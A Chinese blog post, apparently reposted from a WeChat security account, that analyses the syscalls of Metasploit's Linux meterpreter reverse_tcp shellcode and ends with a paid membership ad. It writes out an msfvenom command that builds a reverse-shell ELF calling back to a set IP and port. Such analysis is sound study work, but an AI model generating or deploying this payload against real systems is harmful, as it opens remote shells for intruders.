msf生成windows的shellcode解析

admin 2024年11月1日17:50:59评论18 views字数 1156阅读3分51秒阅读模式

网上关于msf生成windows的shellcode解析很多,但是linux却不多,这篇打算带大家了解一下msf 生成的linux shellcode。

Payload生成方式

Msfvenom -p Linux/x86/meterpreter/reverse_tcp lhost=192.168.6.129 lport=12345

-f elf > linux.elf

生成的elf反编译

然后代码量就这么大点,纯汇编

msf生成windows的shellcode解析

仔细看呢 他们的调用方式是通过int 0x80h进行system call的

msf生成windows的shellcode解析

System call相关文章:

https://blog.csdn.net/xiaominthere/article/details/17287965

eax中存放系统调用的功能号,传递给系统调用的参数顺序依次放到寄存器:ebx,ecx,edx,esi,edi中

从头到尾解析

首先是

msf生成windows的shellcode解析

首先eax 为0x66时调用了sys-socket函数

Ebx为1,ecx为args,实际上是调用socket函数,其输入参数在args中。

接下来下一段:

msf生成windows的shellcode解析

Eax为0x66 调用了sys-socket函数

Ebx为3,ecx为args 实际上调用了connect函数

Connect(fd,esp,0x66)

Esp为(struct sockaddr *)&servaddr

结构体Sockaddr定义如下:

struct sockaddr_in {

sa_family_t sin_family; /* 地址族,AF_INET */

in_port_t sin_port; /* 端口号 */

struct in_addr sin_addr; /* IPv4 地址 */

};

其中 sin_family对应0x2, sin_port 对应0x3039(12345)

Sin_addr 为 0xc0.0xa8.0x06.0x81 = 192.168.6.129

msf生成windows的shellcode解析

后面两个函数使用mprotect设置内存区域的保护标志(READ|WRITE|EXEC),然后通过read函数来读取connnect连接数据,jmp ecx并执行。

至此,msf采用的payload Linux/x86/meterpreter/reverse_tcp生成的shellcode分析完毕。

会双十一活动来啦

msf生成windows的shellcode解析

帮会领域:专注于APT框架、渗透测试、红蓝对抗等领域

帮会内容覆盖:

1、挖洞技巧和小tips

2、挖洞实战项目案例

3、不定时分享高质量小工具

4、可加入内部群进行攻防技术交流

5、团队内部师傅开发的小工具,优先体验新版本,还可和师傅提出bug获得奖励哦

6、有机会进入团队,成为正式成员,获得更多

msf生成windows的shellcode解析

msf生成windows的shellcode解析

msf生成windows的shellcode解析

活动价格:9.9/月 20/季 79/永久

活动结束后将恢复原价15/月卡、39.9/季卡  将关闭永久会员

msf生成windows的shellcode解析

原文始发于微信公众号(Eonian Sharp):msf生成windows的shellcode解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月1日17:50:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   msf生成windows的shellcode解析https://cn-sec.com/archives/3343578.html

发表评论

匿名网友 填写信息